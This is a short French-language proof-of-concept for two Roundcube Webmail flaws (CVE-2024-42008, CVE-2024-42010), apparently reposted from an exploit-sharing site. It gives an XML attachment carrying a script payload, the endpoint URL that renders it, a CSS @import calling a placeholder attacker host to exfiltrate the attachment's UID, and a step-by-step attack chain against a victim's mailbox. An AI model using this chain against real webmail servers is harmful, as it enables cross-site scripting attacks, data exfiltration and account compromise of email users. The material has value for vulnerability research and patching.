Roundcube-CVE-2024-42008-and-CVE-2024-42010-POC

Preuve de concept : CVE-2024-42008 et CVE-2024-42010

Cette preuve de concept (PoC) démontre l'exploitation de deux vulnérabilités dans Roundcube Webmail qui permettent une injection CSS et un cross-site scripting (XSS). L'attaque se compose de deux étapes :

1. XSS via pièce jointe XML malveillante (CVE-2024-42008)

   En raison de contrôles insuffisants lors du téléversement de fichiers, un fichier XML peut être envoyé en pièce jointe avec du code JavaScript, par exemple :

   root@kitploit:~

   <something:script xmlns:something="<http://www.w3.org/1999/xhtml>">
   	alert(origin)
   </something:script>
   

   Il s'agissait d'un problème connu, référencé sous l'identifiant CVE-2020-13965, et la contre-mesure consistait à désactiver l'option « Ouvrir la pièce jointe ». Mais le fichier peut toujours être consulté via l'endpoint

   root@kitploit:~

   https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get
   

   Où UID est l'identifiant unique de cette pièce jointe dans cette boîte aux lettres spécifique (c.-à-d. INBOX).

2. Exfiltration HTML via injection CSS (CVE-2024-42010)

   Lors de l'envoi d'un e-mail, il est possible d'injecter votre propre fichier CSS, lorsqu'il est hébergé sur un domaine commençant par a. Grâce à cela et à un fichier serveur JavaScript qui traite les requêtes effectuées par l'hôte Roundcube vulnérable, il est possible d'extraire l'UID de la pièce jointe XSS malveillante.

   Importez le CSS dans un e-mail envoyé avec

   root@kitploit:~

   <style>
   	@import "//a.attackerdomain.com/start?"
   </style>
   

   Hébergez le serveur JS (roundcube-css-exploit.js) qui exfiltre l'UID de la pièce jointe malveillante

Chaîne d'attaque

1. Hébergez le serveur JavaScript sur votre domaine
2. Envoyez un e-mail avec une pièce jointe XML malveillante et importez le CSS depuis votre domaine
3. La victime ouvre l'e-mail et l'UID est exfiltré
4. Ensuite, selon la méthode de livraison du XSS privilégiée, vous pouvez soit envoyer un second e-mail avec le lien de la pièce jointe, soit y rediriger l'utilisateur.

Source : E-mails gouvernementaux en danger : vulnérabilité critique de cross-site scripting dans Roundcube Webmail (équipe de recherche en vulnérabilités de Sonar)